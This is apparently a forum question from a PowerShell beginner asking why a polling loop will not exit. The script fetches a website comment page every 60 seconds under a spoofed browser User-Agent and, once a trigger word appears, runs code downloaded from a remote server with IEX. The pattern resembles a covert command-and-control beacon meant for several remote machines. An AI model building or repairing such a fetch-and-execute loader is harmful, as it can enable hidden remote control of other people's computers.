问题描述:

I'm a totally powershell newbie, so please be indulgent ;)

I'm trying to write a script where a machine check an external website waiting for a the word: "test" to execute a download. The things goes like this:

$Word = 'test'

$WebClientObject = New-Object Net.WebClient

$comment = "http://MySite.wordpress.com/comment_section/"

$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")

While($True) {

$CommentResult = $WebClientObject.DownloadString($comment)

$Found = $CommentResult.contains($Word)

If ($Found) {

IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')

#Task_to_do and some blabla commands

Return

}

Start-Sleep -Seconds 60

}

I'm running powershell 2.0. Windows7

What happened:

  • the download is not executed over internet
  • it is not a issue coming from IPs or paths

What I've done next:

  • I directly write the different commands in the powershell prompt:

--> the While($True) initiate an endless loop without exiting it.

To make the trick I need to "double click return on my keyboard", the loop's ending and the "downloadstring" command is finally executed.

Still remember I'm more than a newbie, right? :(

  • I tried "break" "return" or "exit" bu impossible to quit the

    loop.

  • I tried to put many double carriage return in my script also without

    any success.

Would someone please indicates me the way to do this simple thing...? :)

Thanks a lot.

UPDATE

Those little lines should be utilize by different persons in different places (that's one of the reason of a deported website), and i just do not have possibility to update the remote machines to a newer version of powershell.

If anybody have any Microsoft powershell guru in his contact, it will be just a tremendous help. Thank you all guys.

UPDATE #2

Changing While by for(;;) and changing Return by Break does not resolve the issue.

相关阅读:
Top